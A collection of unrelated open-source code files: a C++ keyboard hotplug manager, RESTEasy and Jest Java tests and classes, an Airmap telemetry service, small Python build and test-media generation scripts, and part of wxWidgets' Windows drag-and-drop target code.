string event_path = realpath_safe(ev.path);
syslog(LOG_INFO, "Hotplug event on %s -> %s", ev.path.c_str(), event_path.c_str());
if (!waitForDevice(event_path))
return true;
{
lock_guard<mutex> lock(pulled_kbds_mtx);
for (auto it = pulled_kbds.begin(); it != pulled_kbds.end(); it++) {
auto kbd = *it;
if (kbd->isMe(ev.path.c_str())) {
syslog(LOG_INFO, "Keyboard was plugged back in: %s", kbd->getName().c_str());
kbd->reset(ev.path.c_str());
kbd->lock();
{
lock_guard<mutex> lock(available_kbds_mtx);
available_kbds.push_back(kbd);
}
pulled_kbds.erase(it);
break;
}
}
}
if (!allow_hotplug)
return true;
// If the keyboard is not in pulled_kbds, we want to
// make sure that it actually is a keyboard.
if (!KBDManager::byIDIsKeyboard(ev.path))
return true;
{
lock_guard<mutex> lock(kbds_mtx);
Keyboard *kbd = new Keyboard(event_path.c_str());
kbds.push_back(kbd);
syslog(LOG_INFO, "New keyboard plugged in: %s", kbd->getID().c_str());
kbd->lock();
}
updateAvailableKBDs();
return true;
});
}
KBDUnlock KBDManager::unlockAll() {
lock_guard<mutex> lock(available_kbds_mtx);
std::vector<Keyboard *> unlocked;
for (auto &kbd : available_kbds) {
try {
syslog(LOG_INFO, "Unlocking keyboard due to error: \"%s\" @ %s", kbd->getName().c_str(),
kbd->getPhys().c_str());
kbd->unlock();
unlocked.push_back(kbd);
} catch (const KeyboardError &e) {
syslog(LOG_ERR, "Unable to unlock keyboard: %s", kbd->getName().c_str());
kbd->disable();
}
}
return KBDUnlock(kbds);
}
KBDUnlock::~KBDUnlock() {
for (auto &kbd : kbds) {
try {
kbd->lock();
} catch (const KeyboardError &e) {
syslog(LOG_ERR, "Unable to lock keyboard: %s", kbd->getName().c_str());
}
}
}
void KBDManager::updateAvailableKBDs() {
lock_guard<mutex> lock1(available_kbds_mtx);
lock_guard<mutex> lock2(kbds_mtx);
available_kbds.clear();
for (auto &kbd : kbds)
if (!kbd->isDisabled())
available_kbds.push_back(kbd);
}
void KBDManager::addDevice(const std::string& device) {
lock_guard<mutex> lock(kbds_mtx);
kbds.push_back(new Keyboard(device.c_str()));
}
| 3,106 |
841 | <reponame>brunolmfg/resteasy<gh_stars>100-1000
package org.jboss.resteasy.test.resource.param.resource;
import org.jboss.resteasy.test.resource.param.UriParamAsPrimitiveTest;
import org.junit.Assert;
import jakarta.ws.rs.GET;
import jakarta.ws.rs.Path;
import jakarta.ws.rs.PathParam;
@Path("/double/wrapper/{arg}")
public class UriParamAsPrimitiveResourceUriDoubleWrapper {
@GET
public String doGet(@PathParam("arg") Double v) {
Assert.assertEquals(UriParamAsPrimitiveTest.ERROR_CODE, 3.14159265358979d, v.doubleValue(), 0.0);
return "content";
}
}
| 226 |
2,133 | #include <Airmap/services/telemetry.h>
#include <airmap/flight.h>
std::shared_ptr<airmap::services::Telemetry> airmap::services::Telemetry::create(const std::shared_ptr<Dispatcher>& dispatcher,
const std::shared_ptr<airmap::Client>& client) {
return std::shared_ptr<Telemetry>{new Telemetry{dispatcher, client}};
}
airmap::services::Telemetry::Telemetry(const std::shared_ptr<Dispatcher>& dispatcher,
const std::shared_ptr<airmap::Client>& client)
: dispatcher_{dispatcher}, client_{client} {
}
void airmap::services::Telemetry::submit_updates(const Flight& flight, const std::string& key,
const std::initializer_list<Update>& updates) {
dispatcher_->dispatch_to_airmap([this, sp = shared_from_this(), flight, key, updates]() {
sp->client_->telemetry().submit_updates(flight, key, updates);
});
}
| 415 |
2,114 | <filename>jest/src/test/java/io/searchbox/client/http/FailingProxyTest.java
package io.searchbox.client.http;
import java.io.IOException;
import java.util.concurrent.Semaphore;
import org.hamcrest.Matchers;
import org.junit.After;
import org.junit.Before;
import org.junit.Test;
import io.netty.handler.codec.http.HttpResponseStatus;
import io.searchbox.client.JestClientFactory;
import io.searchbox.client.JestResult;
import io.searchbox.client.JestResultHandler;
import io.searchbox.client.config.HttpClientConfig;
import io.searchbox.indices.Stats;
import static org.hamcrest.Matchers.containsString;
import static org.hamcrest.core.Is.is;
import static org.hamcrest.core.IsNot.not;
import static org.hamcrest.core.IsNull.nullValue;
import static org.junit.Assert.assertThat;
/** Test the situation where there's a misconfigured proxy between the Jest
* client and the server. If the proxy speaks text/html instead of
* application/json, we should not throw a generic JsonSyntaxException.
*/
public class FailingProxyTest {
JestClientFactory factory = new JestClientFactory();
private FailingProxy proxy;
private JestHttpClient client;
private Stats status;
@Before
public void setUp() throws IOException {
proxy = new FailingProxy();
String url = proxy.getUrl();
factory.setHttpClientConfig(new HttpClientConfig.Builder(url).build());
client = (JestHttpClient) factory.getObject();
assertThat(client, is(not(nullValue())));
status = new Stats.Builder().build();
}
@After
public void tearDown() throws IOException {
client.close();
proxy.stop();
}
@Test
public void testWithFailingProxy() throws InterruptedException, IOException {
Exception exception = runSynchronously();
validateFailingProxyException(exception);
}
@Test
public void testAsyncWithFailingProxy() throws InterruptedException, IOException {
Exception exception = runAsynchronously();
validateFailingProxyException(exception);
}
private void validateFailingProxyException(final Exception e) {
assertThat(e, is(not(Matchers.nullValue())));
final String message = e.toString();
assertThat(message, not(containsString("Use JsonReader.setLenient(true)")));
assertThat(message, containsString("text/html"));
assertThat(message, containsString("should be json: HTTP/1.1 400 Bad Request"));
}
@Test
public void testWithBrokenResponse() throws InterruptedException, IOException {
proxy.setErrorStatus(HttpResponseStatus.FORBIDDEN);
proxy.setErrorContentType("application/json");
proxy.setErrorMessage("banana"); // <-- this is not json at all!
Exception exception = runSynchronously();
validateBrokenResponseException(exception);
}
@Test
public void testAsyncWithBrokenResponse() throws InterruptedException, IOException {
proxy.setErrorStatus(HttpResponseStatus.FORBIDDEN);
proxy.setErrorContentType("application/json");
proxy.setErrorMessage("banana"); // <-- this is not json at all!
Exception exception = runAsynchronously();
validateBrokenResponseException(exception);
}
private void validateBrokenResponseException(final Exception e) {
assertThat(e, is(not(Matchers.nullValue())));
final String message = e.toString();
assertThat(message, not(containsString("Use JsonReader.setLenient(true)")));
assertThat(message, containsString("should be json: HTTP/1.1 400 Bad Request"));
}
private Exception runSynchronously() {
Exception exception = null;
try {
final JestResult result = client.execute(status);
} catch (Exception e) {
exception = e;
}
return exception;
}
private Exception runAsynchronously() throws InterruptedException {
final ResultHandler resultHandler = new ResultHandler();
client.executeAsync(status, resultHandler);
return resultHandler.get();
}
private class ResultHandler implements JestResultHandler {
private final Semaphore sema = new Semaphore(0);
private Exception exception = null;
@Override
public void completed(final Object result) {
sema.release();
}
@Override
public void failed(final Exception ex) {
exception = ex;
sema.release();
}
public Exception get() throws InterruptedException {
sema.acquire();
return exception;
}
}
}
| 1,662 |
320 | from cpu import getCPU
import sys
def getCPUFlags(cpuName):
cpu = getCPU(cpuName)
return ' '.join(cpu.gccFlags)
if __name__ == '__main__':
if len(sys.argv) == 2:
cpuName = sys.argv[1]
try:
print(getCPUFlags(cpuName))
except KeyError:
print('Unknown CPU "%s"' % cpuName, file=sys.stderr)
else:
print('Usage: python3 cpu2flags.py OPENMSX_TARGET_CPU', file=sys.stderr)
sys.exit(2)
| 173 |
14,668 | #!/usr/bin/python
# Copyright (C) 2013 Google Inc. All rights reserved.
#
# Redistribution and use in source and binary forms, with or without
# modification, are permitted provided that the following conditions are
# met:
#
# * Redistributions of source code must retain the above copyright
# notice, this list of conditions and the following disclaimer.
# * Redistributions in binary form must reproduce the above
# copyright notice, this list of conditions and the following disclaimer
# in the documentation and/or other materials provided with the
# distribution.
# * Neither the name of Google Inc. nor the names of its
# contributors may be used to endorse or promote products derived from
# this software without specific prior written permission.
#
# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
# "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
# LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
# A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
# OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
# SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
# LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
# DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
# THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
# (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
# OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
"""
This is a script that generates the content and HTML files for Media Source
codec config change LayoutTests.
"""
import json
import os
DURATION = 2
MEDIA_FORMATS = ['webm', 'mp4']
ENCODE_SETTINGS = [
## Video-only files
# Frame rate changes
{'fs': '320x240', 'fr': 24, 'kfr': 8, 'c': '#ff0000', 'vbr': 128, 'abr': 0, 'asr': 0, 'ach': 0, 'afreq': 0},
{'fs': '320x240', 'fr': 30, 'kfr': 10, 'c': '#ff0000', 'vbr': 128, 'abr': 0, 'asr': 0, 'ach': 0, 'afreq': 0},
# Frame size change
{'fs': '640x480', 'fr': 30, 'kfr': 10, 'c': '#00ff00', 'vbr': 128, 'abr': 0, 'asr': 0, 'ach': 0, 'afreq': 0},
# Bitrate change
{'fs': '320x240', 'fr': 30, 'kfr': 10, 'c': '#ff00ff', 'vbr': 256, 'abr': 0, 'asr': 0, 'ach': 0, 'afreq': 0},
## Audio-only files
# Bitrate/Codebook changes
{'fs': '0x0', 'fr': 0, 'kfr': 0, 'c': '#000000', 'vbr': 0, 'abr': 128, 'asr': 44100, 'ach': 1, 'afreq': 2000},
{'fs': '0x0', 'fr': 0, 'kfr': 0, 'c': '#000000', 'vbr': 0, 'abr': 192, 'asr': 44100, 'ach': 1, 'afreq': 4000},
## Audio-Video files
# Frame size change.
{'fs': '320x240', 'fr': 30, 'kfr': 10, 'c': '#ff0000', 'vbr': 256, 'abr': 128, 'asr': 44100, 'ach': 1, 'afreq': 2000},
{'fs': '640x480', 'fr': 30, 'kfr': 10, 'c': '#00ff00', 'vbr': 256, 'abr': 128, 'asr': 44100, 'ach': 1, 'afreq': 2000},
# Audio bitrate change.
{'fs': '640x480', 'fr': 30, 'kfr': 10, 'c': '#00ff00', 'vbr': 256, 'abr': 192, 'asr': 44100, 'ach': 1, 'afreq': 4000},
# Video bitrate change.
{'fs': '640x480', 'fr': 30, 'kfr': 10, 'c': '#00ffff', 'vbr': 512, 'abr': 128, 'asr': 44100, 'ach': 1, 'afreq': 2000},
]
CONFIG_CHANGE_TESTS = [
["v-framerate", 0, 1, "Tests %s video-only frame rate changes."],
["v-framesize", 1, 2, "Tests %s video-only frame size changes."],
["v-bitrate", 1, 3, "Tests %s video-only bitrate changes."],
["a-bitrate", 4, 5, "Tests %s audio-only bitrate changes."],
["av-framesize", 6, 7, "Tests %s frame size changes in multiplexed content."],
["av-audio-bitrate", 7, 8, "Tests %s audio bitrate changes in multiplexed content."],
["av-video-bitrate", 7, 9, "Tests %s video bitrate changes in multiplexed content."]
]
CODEC_INFO = {
"mp4": {"audio": "mp4a.40.2", "video": "avc1.4D4001"},
"webm": {"audio": "vorbis", "video": "vp8"}
}
HTML_TEMPLATE = """<!DOCTYPE html>
<html>
<head>
<script src="/w3c/resources/testharness.js"></script>
<script src="/w3c/resources/testharnessreport.js"></script>
<script src="mediasource-util.js"></script>
<script src="mediasource-config-changes.js"></script>
</head>
<body>
<div id="log"></div>
<script>
mediaSourceConfigChangeTest("%(media_format)s", "%(idA)s", "%(idB)s", "%(description)s");
</script>
</body>
</html>
"""
def run(cmd_line):
os.system(" ".join(cmd_line))
def generate_manifest(filename, media_filename, media_format, has_audio, has_video):
major_type = "audio"
if has_video:
major_type = "video"
codecs = []
if has_video:
codecs.append(CODEC_INFO[media_format]["video"])
if has_audio:
codecs.append(CODEC_INFO[media_format]["audio"])
mimetype = "%s/%s;codecs=\"%s\"" % (major_type, media_format, ",".join(codecs))
manifest = { 'url': media_filename, 'type': mimetype}
f = open(filename, "wb")
f.write(json.dumps(manifest, indent=4, separators=(',', ': ')))
f.close()
def generate_test_html(media_format, config_change_tests, encoding_ids):
for test_info in config_change_tests:
filename = "../../media-source/mediasource-config-change-%s-%s.html" % (media_format, test_info[0])
html = HTML_TEMPLATE % {'media_format': media_format,
'idA': encoding_ids[test_info[1]],
'idB': encoding_ids[test_info[2]],
'description': test_info[3] % (media_format)}
f = open(filename, "wb")
f.write(html)
f.close()
def main():
encoding_ids = []
for media_format in MEDIA_FORMATS:
run(["mkdir ", media_format])
for settings in ENCODE_SETTINGS:
video_bitrate = settings['vbr']
has_video = (video_bitrate > 0)
audio_bitrate = settings['abr']
has_audio = (audio_bitrate > 0)
bitrate = video_bitrate + audio_bitrate
frame_size = settings['fs']
frame_rate = settings['fr']
keyframe_rate = settings['kfr']
color = settings['c']
sample_rate = settings['asr']
channels = settings['ach']
frequency = settings['afreq']
cmdline = ["ffmpeg", "-y"]
id_prefix = ""
id_params = ""
if has_audio:
id_prefix += "a"
id_params += "-%sHz-%sch" % (sample_rate, channels)
channel_layout = "FC"
sin_func = "sin(%s*2*PI*t)" % frequency
func = sin_func
if channels == 2:
channel_layout += "|BC"
func += "|" + sin_func
cmdline += ["-f", "lavfi", "-i", "aevalsrc=\"%s:s=%s:c=%s:d=%s\"" % (func, sample_rate, channel_layout, DURATION)]
if has_video:
id_prefix += "v"
id_params += "-%s-%sfps-%skfr" % (frame_size, frame_rate, keyframe_rate)
cmdline += ["-f", "lavfi", "-i", "color=%s:duration=%s:size=%s:rate=%s" % (color, DURATION, frame_size, frame_rate)]
if has_audio:
cmdline += ["-b:a", "%sk" % audio_bitrate]
if has_video:
cmdline += ["-b:v", "%sk" % video_bitrate]
cmdline += ["-keyint_min", "%s" % keyframe_rate]
cmdline += ["-g", "%s" % keyframe_rate]
textOverlayInfo = "'drawtext=fontfile=Mono:fontsize=32:text=Time\\\\:\\\\ %{pts}"
textOverlayInfo += ",drawtext=fontfile=Mono:fontsize=32:y=32:text=Size\\\\:\\\\ %s" % (frame_size)
textOverlayInfo += ",drawtext=fontfile=Mono:fontsize=32:y=64:text=Bitrate\\\\:\\\\ %s" % (bitrate)
textOverlayInfo += ",drawtext=fontfile=Mono:fontsize=32:y=96:text=FrameRate\\\\:\\\\ %s" % (frame_rate)
textOverlayInfo += ",drawtext=fontfile=Mono:fontsize=32:y=128:text=KeyFrameRate\\\\:\\\\ %s" % (keyframe_rate)
if has_audio:
textOverlayInfo += ",drawtext=fontfile=Mono:fontsize=32:y=160:text=SampleRate\\\\:\\\\ %s" % (sample_rate)
textOverlayInfo += ",drawtext=fontfile=Mono:fontsize=32:y=192:text=Channels\\\\:\\\\ %s" % (channels)
textOverlayInfo += "'"
cmdline += ["-vf", textOverlayInfo]
encoding_id = "%s-%sk%s" % (id_prefix, bitrate, id_params)
if len(encoding_ids) < len(ENCODE_SETTINGS):
encoding_ids.append(encoding_id)
filename_base = "%s/test-%s" % (media_format, encoding_id)
media_filename = filename_base + "." + media_format
manifest_filename = filename_base + "-manifest.json"
cmdline.append(media_filename)
run(cmdline)
# Remux file so it conforms to MSE bytestream requirements.
if media_format == "webm":
tmp_filename = media_filename + ".tmp"
run(["mse_webm_remuxer", media_filename, tmp_filename])
run(["mv", tmp_filename, media_filename])
elif media_format == "mp4":
run(["MP4Box", "-dash", "250", "-rap", media_filename])
run(["mv", filename_base + "_dash.mp4", media_filename])
run(["rm", filename_base + "_dash.mpd"])
generate_manifest(manifest_filename, media_filename, media_format, has_audio, has_video)
generate_test_html(media_format, CONFIG_CHANGE_TESTS, encoding_ids)
if '__main__' == __name__:
main()
| 4,347 |
841 | package org.jboss.resteasy.spi;
import jakarta.ws.rs.WebApplicationException;
import jakarta.ws.rs.core.Response;
/**
* WebApplicationExceptions are logged by RESTEasy. Use this exception when you don't want your exception logged
*
* @author <a href="mailto:<EMAIL>"><NAME></a>
* @version $Revision: 1 $
*/
public class NoLogWebApplicationException extends WebApplicationException
{
public NoLogWebApplicationException()
{
}
public NoLogWebApplicationException(final Response response)
{
super(response);
}
public NoLogWebApplicationException(final int status)
{
super(status);
}
public NoLogWebApplicationException(final Response.Status status)
{
super(status);
}
public NoLogWebApplicationException(final Throwable cause)
{
super(cause);
}
public NoLogWebApplicationException(final Throwable cause, final Response response)
{
super(cause, response);
}
public NoLogWebApplicationException(final Throwable cause, final int status)
{
super(cause, status);
}
public NoLogWebApplicationException(final Throwable cause, final Response.Status status)
{
super(cause, status);
}
}
| 387 |
471 | <reponame>madanagopaltcomcast/pxCore
///////////////////////////////////////////////////////////////////////////////
// Name: src/msw/ole/droptgt.cpp
// Purpose: wxDropTarget implementation
// Author: <NAME>
// Modified by:
// Created:
// Copyright: (c) 1998 <NAME> <<EMAIL>>
// Licence: wxWindows licence
///////////////////////////////////////////////////////////////////////////////
// ============================================================================
// Declarations
// ============================================================================
// ----------------------------------------------------------------------------
// headers
// ----------------------------------------------------------------------------
// For compilers that support precompilation, includes "wx.h".
#include "wx/wxprec.h"
#if defined(__BORLANDC__)
#pragma hdrstop
#endif
#if wxUSE_OLE && wxUSE_DRAG_AND_DROP
#ifndef WX_PRECOMP
#include "wx/msw/wrapwin.h"
#include "wx/log.h"
#endif
#include "wx/msw/private.h"
#ifdef __WXWINCE__
#include <winreg.h>
#include <ole2.h>
#endif
#ifdef __WIN32__
#if !defined(__GNUWIN32__) || wxUSE_NORLANDER_HEADERS
#include "wx/msw/wrapshl.h" // for DROPFILES structure
#endif
#else
#include <shellapi.h>
#endif
#include "wx/dnd.h"
#include "wx/msw/ole/oleutils.h"
#include <initguid.h>
// Some (very) old SDKs don't define IDropTargetHelper, so define our own
// version of it here.
struct wxIDropTargetHelper : public IUnknown
{
virtual HRESULT STDMETHODCALLTYPE DragEnter(HWND hwndTarget,
IDataObject *pDataObject,
POINT *ppt,
DWORD dwEffect) = 0;
virtual HRESULT STDMETHODCALLTYPE DragLeave() = 0;
virtual HRESULT STDMETHODCALLTYPE DragOver(POINT *ppt, DWORD dwEffect) = 0;
virtual HRESULT STDMETHODCALLTYPE Drop(IDataObject *pDataObject,
POINT *ppt,
DWORD dwEffect) = 0;
virtual HRESULT STDMETHODCALLTYPE Show(BOOL fShow) = 0;
};
namespace
{
DEFINE_GUID(wxCLSID_DragDropHelper,
0x4657278A,0x411B,0x11D2,0x83,0x9A,0x00,0xC0,0x4F,0xD9,0x18,0xD0);
DEFINE_GUID(wxIID_IDropTargetHelper,
0x4657278B,0x411B,0x11D2,0x83,0x9A,0x00,0xC0,0x4F,0xD9,0x18,0xD0);
}
// ----------------------------------------------------------------------------
// IDropTarget interface: forward all interesting things to wxDropTarget
// (the name is unfortunate, but wx_I_DropTarget is not at all the same thing
// as wxDropTarget which is 'public' class, while this one is private)
// ----------------------------------------------------------------------------
class wxIDropTarget : public IDropTarget
{
public:
wxIDropTarget(wxDropTarget *p);
virtual ~wxIDropTarget();
// accessors for wxDropTarget
HWND GetHWND() const { return m_hwnd; }
void SetHwnd(HWND hwnd) { m_hwnd = hwnd; }
// IDropTarget methods
STDMETHODIMP DragEnter(LPDATAOBJECT, DWORD, POINTL, LPDWORD);
STDMETHODIMP DragOver(DWORD, POINTL, LPDWORD);
STDMETHODIMP DragLeave();
STDMETHODIMP Drop(LPDATAOBJECT, DWORD, POINTL, LPDWORD);
DECLARE_IUNKNOWN_METHODS;
protected:
IDataObject *m_pIDataObject; // !NULL between DragEnter and DragLeave/Drop
wxDropTarget *m_pTarget; // the real target (we're just a proxy)
HWND m_hwnd; // window we're associated with
// get default drop effect for given keyboard flags
static DWORD GetDropEffect(DWORD flags, wxDragResult defaultAction, DWORD pdwEffect);
wxDECLARE_NO_COPY_CLASS(wxIDropTarget);
};
// ----------------------------------------------------------------------------
// private functions
// ----------------------------------------------------------------------------
static wxDragResult ConvertDragEffectToResult(DWORD dwEffect);
static DWORD ConvertDragResultToEffect(wxDragResult result);
// ============================================================================
// wxIDropTarget implementation
// ============================================================================
// Name : static wxIDropTarget::GetDropEffect
// Purpose : determine the drop operation from keyboard/mouse state.
// Returns : DWORD combined from DROPEFFECT_xxx constants
// Params : [in] DWORD flags kbd & mouse flags as passed to
// IDropTarget methods
// [in] wxDragResult defaultAction the default action of the drop target
// [in] DWORD pdwEffect the supported actions of the drop
// source passed to IDropTarget methods
// Notes : We do "move" normally and "copy" if <Ctrl> is pressed,
// which is the standard behaviour (currently there is no
// way to redefine it)
DWORD wxIDropTarget::GetDropEffect(DWORD flags,
wxDragResult defaultAction,
DWORD pdwEffect)
{
DWORD effectiveAction;
if ( defaultAction == wxDragCopy )
effectiveAction = flags & MK_SHIFT ? DROPEFFECT_MOVE : DROPEFFECT_COPY;
else
effectiveAction = flags & MK_CONTROL ? DROPEFFECT_COPY : DROPEFFECT_MOVE;
if ( !(effectiveAction & pdwEffect) )
{
// the action is not supported by drag source, fall back to something
// that it does support
if ( pdwEffect & DROPEFFECT_MOVE )
effectiveAction = DROPEFFECT_MOVE;
else if ( pdwEffect & DROPEFFECT_COPY )
effectiveAction = DROPEFFECT_COPY;
else if ( pdwEffect & DROPEFFECT_LINK )
effectiveAction = DROPEFFECT_LINK;
else
effectiveAction = DROPEFFECT_NONE;
}
return effectiveAction;
}
wxIDropTarget::wxIDropTarget(wxDropTarget *pTarget)
{
m_pTarget = pTarget;
m_pIDataObject = NULL;
}
wxIDropTarget::~wxIDropTarget()
{
}
BEGIN_IID_TABLE(wxIDropTarget)
ADD_IID(Unknown)
ADD_IID(DropTarget)
END_IID_TABLE;
IMPLEMENT_IUNKNOWN_METHODS(wxIDropTarget)
// Name : wxIDropTarget::DragEnter
// Purpose : Called when the mouse enters the window (dragging something)
// Returns : S_OK
// Params : [in] IDataObject *pIDataSource : source data
// [in] DWORD grfKeyState : kbd & mouse state
// [in] POINTL pt : mouse coordinates
// [in/out]DWORD *pdwEffect : effect flag
// In: Supported effects
// Out: Resulting effect
// Notes :
STDMETHODIMP wxIDropTarget::DragEnter(IDataObject *pIDataSource,
DWORD grfKeyState,
POINTL pt,
DWORD *pdwEffect)
{
wxLogTrace(wxTRACE_OleCalls, wxT("IDropTarget::DragEnter"));
wxASSERT_MSG( m_pIDataObject == NULL,
wxT("drop target must have data object") );
// show the list of formats supported by the source data object for the
// debugging purposes, this is quite useful sometimes - please don't remove
#if 0
IEnumFORMATETC *penumFmt;
if ( SUCCEEDED(pIDataSource->EnumFormatEtc(DATADIR_GET, &penumFmt)) )
{
FORMATETC fmt;
while ( penumFmt->Next(1, &fmt, NULL) == S_OK )
{
wxLogDebug(wxT("Drop source supports format %s"),
wxDataObject::GetFormatName(fmt.cfFormat));
}
penumFmt->Release();
}
else
{
wxLogLastError(wxT("IDataObject::EnumFormatEtc"));
}
#endif // 0
if ( !m_pTarget->MSWIsAcceptedData(pIDataSource) ) {
// we don't accept this kind of data
*pdwEffect = DROPEFFECT_NONE;
// Don't do anything else if we don't support this format at all, notably
// don't call our OnEnter() below which would show misleading cursor to
// the user.
return S_OK;
}
// for use in OnEnter and OnDrag calls
m_pTarget->MSWSetDataSource(pIDataSource);
// get hold of the data object
m_pIDataObject = pIDataSource;
m_pIDataObject->AddRef();
// we need client coordinates to pass to wxWin functions
if ( !ScreenToClient(m_hwnd, (POINT *)&pt) )
{
wxLogLastError(wxT("ScreenToClient"));
}
// give some visual feedback
*pdwEffect = ConvertDragResultToEffect(
m_pTarget->OnEnter(pt.x, pt.y, ConvertDragEffectToResult(
GetDropEffect(grfKeyState, m_pTarget->GetDefaultAction(), *pdwEffect))
)
);
// update drag image
const wxDragResult res = ConvertDragEffectToResult(*pdwEffect);
m_pTarget->MSWUpdateDragImageOnEnter(pt.x, pt.y, res);
m_pTarget->MSWUpdateDragImageOnDragOver(pt.x, pt.y, res);
return S_OK;
}
// Name : wxIDropTarget::DragOver
// Purpose : Indicates that the mouse was moved inside the window represented
// by this drop target.
// Returns : S_OK
// Params : [in] DWORD grfKeyState kbd & mouse state
// [in] POINTL pt mouse coordinates
// [in/out]LPDWORD pdwEffect current effect flag
// Notes : We're called on every WM_MOUSEMOVE, so this function should be
// very efficient.
STDMETHODIMP wxIDropTarget::DragOver(DWORD grfKeyState,
POINTL pt,
LPDWORD pdwEffect)
{
// there are too many of them... wxLogDebug("IDropTarget::DragOver");
wxDragResult result;
if ( m_pIDataObject ) {
result = ConvertDragEffectToResult(
GetDropEffect(grfKeyState, m_pTarget->GetDefaultAction(), *pdwEffect));
}
else {
// can't accept data anyhow normally
result = wxDragNone;
}
if ( result != wxDragNone ) {
// we need client coordinates to pass to wxWin functions
if ( !ScreenToClient(m_hwnd, (POINT *)&pt) )
{
wxLogLastError(wxT("ScreenToClient"));
}
*pdwEffect = ConvertDragResultToEffect(
m_pTarget->OnDragOver(pt.x, pt.y, result)
);
}
else {
*pdwEffect = DROPEFFECT_NONE;
}
// update drag image
m_pTarget->MSWUpdateDragImageOnDragOver(pt.x, pt.y,
ConvertDragEffectToResult(*pdwEffect));
return S_OK;
}
// Name : wxIDropTarget::DragLeave
// Purpose : Informs the drop target that the operation has left its window.
// Returns : S_OK
// Notes : good place to do any clean-up
STDMETHODIMP wxIDropTarget::DragLeave()
{
wxLogTrace(wxTRACE_OleCalls, wxT("IDropTarget::DragLeave"));
// remove the UI feedback
m_pTarget->OnLeave();
// release the held object
RELEASE_AND_NULL(m_pIDataObject);
// update drag image
m_pTarget->MSWUpdateDragImageOnLeave();
return S_OK;
}
// Name : wxIDropTarget::Drop
// Purpose : Instructs the drop target to paste data that was just now
// dropped on it.
// Returns : S_OK
// Params : [in] IDataObject *pIDataSource the data to paste
// [in] DWORD grfKeyState kbd & mouse state
// [in] POINTL pt where the drop occurred?
// [in/out]DWORD *pdwEffect operation effect
// Notes :
STDMETHODIMP wxIDropTarget::Drop(IDataObject *pIDataSource,
DWORD grfKeyState,
POINTL pt,
DWORD *pdwEffect)
{
wxLogTrace(wxTRACE_OleCalls, wxT("IDropTarget::Drop"));
// TODO I don't know why there is this parameter, but so far I assume
// that it's the same we've already got in DragEnter
wxASSERT( m_pIDataObject == pIDataSource );
// we need client coordinates to pass to wxWin functions
if ( !ScreenToClient(m_hwnd, (POINT *)&pt) )
{
wxLogLastError(wxT("ScreenToClient"));
}
// first ask the drop target if it wants data
if ( m_pTarget->OnDrop(pt.x, pt.y) ) {
// it does, so give it the data source
m_pTarget->MSWSetDataSource(pIDataSource);
// and now it has the data
wxDragResult rc = ConvertDragEffectToResult(
GetDropEffect(grfKeyState, m_pTarget->GetDefaultAction(), *pdwEffect));
rc = m_pTarget->OnData(pt.x, pt.y, rc);
if ( wxIsDragResultOk(rc) ) {
// operation succeeded
*pdwEffect = ConvertDragResultToEffect(rc);
}
else {
*pdwEffect = DROPEFFECT_NONE;
}
}
else {
// OnDrop() returned false, no need to copy data
*pdwEffect = DROPEFFECT_NONE;
}
// release the held object
RELEASE_AND_NULL(m_pIDataObject);
// update drag image
m_pTarget->MSWUpdateDragImageOnData(pt.x, pt.y,
ConvertDragEffectToResult(*pdwEffect));
return S_OK;
}
// ============================================================================
// wxDropTarget implementation
// ============================================================================
// ----------------------------------------------------------------------------
// ctor/dtor
// ----------------------------------------------------------------------------
wxDropTarget::wxDropTarget(wxDataObject *dataObj)
: wxDropTargetBase(dataObj),
m_dropTargetHelper(NULL)
{
// create an IDropTarget implementation which will notify us about d&d
// operations.
m_pIDropTarget = new wxIDropTarget(this);
m_pIDropTarget->AddRef();
}
wxDropTarget::~wxDropTarget()
{
ReleaseInterface(m_pIDropTarget);
}
// ----------------------------------------------------------------------------
// [un]register drop handler
// ----------------------------------------------------------------------------
bool wxDropTarget::Register(WXHWND hwnd)
{
// FIXME
// RegisterDragDrop not available on Windows CE >= 400?
// Or maybe we can dynamically load them from ceshell.dll
// or similar.
#if defined(__WXWINCE__) && _WIN32_WCE >= 400
wxUnusedVar(hwnd);
return false;
#else
HRESULT hr;
// May exist in later WinCE versions
#ifndef __WXWINCE__
hr = ::CoLockObjectExternal(m_pIDropTarget, TRUE, FALSE);
if ( FAILED(hr) ) {
wxLogApiError(wxT("CoLockObjectExternal"), hr);
return false;
}
#endif
hr = ::RegisterDragDrop((HWND) hwnd, m_pIDropTarget);
if ( FAILED(hr) ) {
// May exist in later WinCE versions
#ifndef __WXWINCE__
::CoLockObjectExternal(m_pIDropTarget, FALSE, FALSE);
#endif
wxLogApiError(wxT("RegisterDragDrop"), hr);
return false;
}
// we will need the window handle for coords transformation later
m_pIDropTarget->SetHwnd((HWND)hwnd);
MSWInitDragImageSupport();
return true;
#endif
}
void wxDropTarget::Revoke(WXHWND hwnd)
{
#if defined(__WXWINCE__) && _WIN32_WCE >= 400
// Not available, see note above
wxUnusedVar(hwnd);
#else
HRESULT hr = ::RevokeDragDrop((HWND) hwnd);
if ( FAILED(hr) ) {
wxLogApiError(wxT("RevokeDragDrop"), hr);
}
// May exist in later WinCE versions
#ifndef __WXWINCE__
::CoLockObjectExternal(m_pIDropTarget, FALSE, TRUE);
#endif
MSWEndDragImageSupport();
// remove window reference
m_pIDropTarget->SetHwnd(0);
#endif
}
// ----------------------------------------------------------------------------
// base class pure virtuals
// ----------------------------------------------------------------------------
// OnDrop() is called only if we previously returned true from
// IsAcceptedData(), so no need to check anything here
bool wxDropTarget::OnDrop(wxCoord WXUNUSED(x), wxCoord WXUNUSED(y))
{
return true;
}
// copy the data from the data source to the target data object
bool wxDropTarget::GetData()
{
wxDataFormat format = MSWGetSupportedFormat(m_pIDataSource);
if ( format == wxDF_INVALID ) {
return false;
}
STGMEDIUM stm;
FORMATETC fmtMemory;
